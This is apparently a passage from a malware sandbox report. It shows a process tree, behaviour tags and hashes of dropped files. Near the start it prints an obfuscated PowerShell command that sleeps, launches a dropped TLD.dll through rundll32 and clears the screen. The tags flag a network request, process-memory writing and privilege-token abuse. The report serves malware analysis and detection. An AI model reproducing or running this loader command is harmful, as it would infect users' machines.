"GANbBhaEhsbNYJ6xD9";Get-Helps "E06vhIAf3APTBCKPkzckN";Get-Helps "BofBVbvrH9SQKczRmOvXzt7L4Ulm";Get-Helps "nhHxIGBzmWWJlzwXB61ZjqvEY2fV7Fc2I1k8D9bFzNdBbm";Get-Helps "dX238XYjsfb9itWsTwgsNUxbjoIM0y4urmktF427yioowIe1MBgw8UbAxLj";Get-Helps "hA053NvLvQTESY6YRHikIA1AVUJtXgmhJGlqfqVYioZqycb";;Start-Sleep -Seconds 1.5;Start-Process rundll32.exe $env:USERPROFILE\TLD.dll,CLD;cls;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\TLD.dll CLD
        3⤵
          PID:2468
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3924,i,3861745594156495651,17595114179815238301,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:8
      1⤵
        PID:2184

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0yyu1sl.bb2.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • C:\Users\Admin\TLD.dll
        Filesize

        173KB

        MD5

        a7596d91634777e03dc9adac5416beb4

        SHA1

        b2bfecf71a7ba37917bd8d96211b175a2cc41c6b

        SHA256

        7d85dc8cff894e222ad569a52172bd741eeefdf654ff064c0d29d80b8d768bc1

        SHA512

        2a6b3e5c467527af01fb93de4e03242938194888350de7da798b8a1fd19eb03aedd58e28874e0f4857f91a64b2fa867ff26f0daefa09616cb45ab724077c92d6

        Download Submit

      • memory/1652-2-0x00007FFD01643000-0x00007FFD01645000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1652-3-0x0000026F6D690000-0x0000026F6D6B2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/1652-13-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1652-14-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1652-15-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1652-16-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1652-17-0x00007FFD01643000-0x00007FFD01645000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1652-18-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1652-19-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1652-21-0x00007FFD01640000-0x00007FFD02101000-memory.dmp

        Filesize

        10.8MB

        Download